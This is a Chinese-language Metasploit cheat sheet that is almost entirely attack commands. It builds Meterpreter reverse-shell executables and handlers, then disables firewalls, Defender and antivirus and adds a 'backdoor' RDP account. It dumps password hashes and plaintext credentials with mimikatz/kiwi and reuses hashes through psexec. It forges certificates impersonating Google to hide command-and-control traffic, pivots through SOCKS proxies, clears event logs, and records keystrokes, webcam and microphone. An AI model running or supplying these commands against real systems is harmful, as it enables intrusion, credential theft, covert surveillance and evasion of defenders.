文章目录
安装
curl https://raw.githubusercontent.com/rapid7/metasploit- omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
获取shell
# 生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=服务器IP LPORT=服务器监听端口 -f exe -o test.exe
# kali监听,等待连接
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
模块化
- exploits 漏洞利用模块,这个模块通常是用于对某些有可能存在漏洞的目标进行漏洞利用。
- payloads 攻击载荷,exploit成功之后就会执行payload,这段payload可以是反弹代码,可以是添加用户的代码。
- auxiliary 辅助模块,该模块是用于辅助渗透的,比如端口扫描、存活探测、暴力破解。
- post 后渗透模块,该模块一般用于内网渗透。
- encoders 编码器模块,对payload进行编码加密,可绕过部分杀软软件。
- evasion 躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软的,免杀效果很一般。
- nops 空指令模块,为了避免攻击载荷在执行的过程中出现随机地址错误而在执行shellcode之前加入一些空指令,使得在执行shellcode时有一个较大的安全着陆区。
msfconsole使用
基础命令
加载模块
use name
查看网络配置
ifconfig
获取进程列表
ps
查看所有exploit
show exploits
查看所有payload
show payloads
查看所有auxiliary
show auxiliary
展示模块详细信息
info
查找模块
search name
查看当前运行的模块
jobs
重启目标机器
reboot
关闭目标机器
shutdown
获取交互shell
shell
当前meterpreter到后台
background
离开msf
quit
信息搜集
pwd # 查看当前目录
getwd
sysinfo #主机信息
idletime # 目标机器闲置时间
getproxy # 代理信息
run checkvm # 是否为虚拟机
run post/windows/gather/checkvm
run post/windows/gather/enum_applications # 获取主机安装软件、补丁
run post/multi/gather/env # 获取目标主机环境变量
run post/windows/gather/enum_ie # 获取ie缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
防火墙、杀软
参考:https://www.cnblogs.com/3ichae1/p/13046760.html
查看防火墙状态
run getcountermeasure
关闭防火墙
run killav
netsh advfirewall set allprofiles state off ##(管理员以及以上权限)
# 关闭Denfender
net stop windefend
# 关闭DEP,数据执行保护
bcdedit.exe /set {current} nx AlwaysOff
# 关闭杀毒软件
run killav
run post/windows/manage/killava
# 开启远程桌面
run post/windows/manage/enable_rdp
# 关闭远程桌面,上一步会生成一个文件,该文件可用来再关闭远程桌面
run multi_console_command -r 文件地址
# 开启远程桌面并添加一个新用户backdoor
run getgui -u backdoor -p backdoor
run post/windows/manage/enable_rdp username=admin password=123456
# 开启远程桌面并绑定在8888端口
run getgui -e -f 8888
run post/windows/manage/enable_rdp forward=true lport=8888
# 登录远程桌面
rdesktop -u username -p passwd 192.168.1.1
# 桌面截图
screengrab
或者
load espia
screengrab
密码抓取
抓取自动登录的密码
run windows/gather/credentials/windows_autologin // 很多用户习惯将计算机设置自动登录,可以使用
导出密码哈希
hashdump //hashdump 模块可以从SAM数据库中导出本地用户账号
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump
输出格式为: 用户名:SID:LM哈希:NTLM哈希:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b3ec3e03e2a202cbd54fd104b8504fef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
qaq:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:90ce5f791d1174470eaf43c7374fb533:::
注:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
为空密码
上传mimikatz程序
execute -i -f mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
加载kiwi模块
load kiwi
help kiwi
creds_all #该命令可以列举系统中的明文密码
kiwi_cmd #使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
kiwi_cmd sekurlsa::logonpasswords
kiwi_cmd sekurlsa::searchPasswords
参数解释
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
使用hash进行登录(好像只能是administrator)
use exploit/windows/smb/psexec
set SMBuser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:b3ec3e03e2a202cbd54fd104b8504fef
set rhost 192.168.170.131
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
如果有报错
[-] 192.168.48.144:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
原因:较新的Windows系统默认情况下是不允许共享服务不允许远程访问
解决:将注册表中LocalAccountTokenFilterPolicy
的值更改为1
,参考内网横向移动之LocalAccountTokenFilterPolicy,或者关闭uac
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f #添加
或
reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG DWORD /d 0 /f
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
端口扫描、主机发现、版本扫描
ACK 通过ACK扫描的方式对防火墙上未屏蔽的端口进行探测
ftpbounce 通过FTPbounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能够很好的防范FTPbounce攻击,但在一些旧的Solaris及FreeBSD系统的FTP服务中此类工具方法仍能够被利用
syn 使用发送TCP SYN标志的方式探测开放的端口
tcp 通过一次完整的TCP连接来判断端口是否开放,这种扫描方式最准确,但扫描速度较慢
xmas 一种更为隐秘的扫描方式,通过发送FIN,PSH,和URG标志,能够躲避一些高级的TCP标记检测器的过滤
TCP端⼝扫描 auxiliary/scanner/portscan/tcp
ACK防⽕墙扫描 auxiliary/scanner/portscan/ack
FTP跳端⼝扫描 auxiliary/scanner/portscan/ftpbounce
SYN端⼝扫描 auxiliary/scanner/portscan/syn
TCP-XMas端⼝扫描 auxiliary/scanner/portscan/xmas
经过测试,Windows防火墙开启,使⽤ACK是扫描不出来的!
使用arp发现主机
run post/windows/gather/arp_scanner rhost=192.168.1.0/24
扫描tcp端口
search portsacn
use 5 # 选择tcp的
set rhost 192.168.1.1/24
set ports 80,8080,8888,3389,22,23
set threads 10
exploit
探测对方操作系统信息:use auxiliary/scanner/smb/smb_version
可以看到,操作系统是Windows 7,主机名是:LIUWX-PC,不在域内!
端口转发
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
小技巧(多主机扫描)
设置扫描目标为一个文件
set rhosts file:/root/ips.txt
这样的话就会非常⽅便!
进程迁移
手动迁移migrate
migrate 2228 或 migrate -P 2228 //迁移到指定pid号
migrate -N explorer.exe // 迁移到指定进程
自动迁移
set autorunscript migrate -N explorer.exe
或
set autorunscript -f
第一个是指定迁移到哪个进程,第二个默认迁移到notepad
流量加密
可以参考:红队 | 流量加密:使用OpenSSL进行远控流量加密
Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。下面开始演示如何对 Metasploit 进行流量加密。
生成证书
# 使用 OpenSSL 创建 SSL/TLS 证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
# Metasploit框架impersonate_ssl模块,自动从信任源创建一个虚假证书
use auxiliary/gather/impersonate_ssl
set RHOST www.google.com
run
msfvenom 生成带证书的马
# windows
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.43.239 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=herbert -f exe -o shell.exe
# linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.239 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=herbert -f elf -o google.elf
# 参数
HandlerSSLCert:向处理程序通知所使用的PEM证书。
StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。
# 也可以生成 shellcode 自行编译:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.43.239 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=google -f c
开启监听
# windows
use exploit/multi/handler
set payload windows/meterpreter/reverse_winhttps
set lhost 0.0.0.0
set lport 4444
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
set IgnoreUnknowPayloads true
set exitonsession false
exploit
# linux
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
set HandlerSSLCert www.google.com.pem
set StagerVerifySSLCert true
set IgnoreUnknowPayloads true
exploit
# 参数
HANDLERSSLCERT选项中设置PEM格式证书的路径来告知有效负载处理程序将使用的证书,
stagerverifysslcert设置为true来启用对该证书的检查,
IgnoreUnknownPayloads接受白名单的payload。
添加路由
网段查询
meterpreter > run get_local_subnets
meterpreter > ipconfig
# 在全局给指定的session增删路由
route add 192.168.11.0 255.255.255.0 1 #在session1中添加到达192.168.11.0网段的路由
route del 192.168.12.0 255.255.255.0 2 #在session2中删除到达192.168.12.0网段的路由
route print #打印路由信息
#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24 #添加路由
run autoroute -d -s 192.168.11.0/24 #删除路由
run autoroute -p #打印路由信息
注意:在实际的内网渗透中,我们可以直接添加到 0.0.0.0/0 的路由。这样,只要该被控主机可达的地址就都可达!
设置Socks代理
搭建Socks4a代理
use auxiliary/server/socks4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run
search socks
use auxiliary/server/socks_proxy
set version 4a
exploit
搭建Socks5代理
use auxiliary/server/socks5
set SRVHOST 0.0.0.0
set SRVPORT 1080
set USERNAME root
set PASSWORD password
run
连接代理
首先修改/etc/proxychains.conf文件
# 修改配置文件
vim /etc/proxychains4.conf
#在最后修改
socks4 0.0.0.0 1080
socks5 0.0.0.0 1080 root password
然后执行命令前加上 proxychains命令
# 使用代理启动火狐
proxychains firefox
擦屁股、清痕迹
删除添加的账号
net user 用户名 /del
删除日志
clearev
关闭所有session连接
session -K
事件日志
其他
cmdshell 升级
sessions -u 会话id
linux保存的ssh身份验证信息
run post/multi/gather/ssh_creds
# 用户操作:Stdapi: User interface Commands(用户接口命令)
enumdesktops -->列出所有可访问的桌面和窗口站(窗体列表)
getdesktop -->得到当前的Meterpreter桌面
idletime -->返回秒远程用户已经闲置数量
keyscan_start -->开始捕获击键(开始键盘记录)
keyscan_dump -->转储按键缓冲(下载键盘记录)
keyscan_stop -->停止捕获击键(停止键盘记录)
# PS:键盘记录注意点,先开始,后下载,再结束,否则会出错
screenshot -->抓取交互式桌面截图(当前操作界面截图一张)
setdesktop -->改变meterpreters当前桌面
uictl -->控制一些用户界面组件(获取键盘、鼠标控制权)
使用uictl -h 查看帮助(打开/关闭,键盘/鼠标)
# 摄像头:Stdapi: Webcam Commands(摄像头命令)
record_mic -->X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat -->开始视频聊天(视频,对方会有弹窗)
webcam_list -->单摄像头(查看摄像头列表)
webcam_snap -->采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream -->播放视频流从指定的摄像头(开启摄像头监控)
# 其他命令操作
getsystem -->获取高权限
hashdump -->获取当前用户hash